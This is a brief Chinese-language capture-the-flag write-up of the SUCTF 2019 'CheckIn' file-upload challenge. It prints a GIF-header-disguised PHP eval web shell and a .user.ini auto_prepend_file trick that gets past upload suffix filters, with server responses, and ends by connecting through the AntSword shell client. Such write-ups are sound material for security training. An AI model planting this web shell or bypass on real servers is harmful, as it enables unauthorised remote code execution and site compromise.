[SUCTF 2019]CheckIn

打开题目，常规的文件上传
经过各种上传测试，似乎在后端有文件后缀检测且难以绕过
但可以上传.user.ini文件，且上传文件成功后会主动给出路径，而这个路径下恰好有一个php文件

上传木马

GIF8a
<script language='php'>@eval($_POST['door']);</script>

得到木马路径

Your dir uploads/0e2baa5f405a4e8f1b40ce791fae880a
Your files :
array(4) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(5) “a.jpg” [3]=> string(9) “index.php” }

上传.user.ini

GIF8a
auto_prepend_file=../0e2baa5f405a4e8f1b40ce791fae880a/a.jpg

Your dir uploads/22a34919097cc74b924bf5ac06da8b89
Your files :
array(4) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(9) “.user.ini” [3]=> string(9) “index.php” }

蚁剑连接即可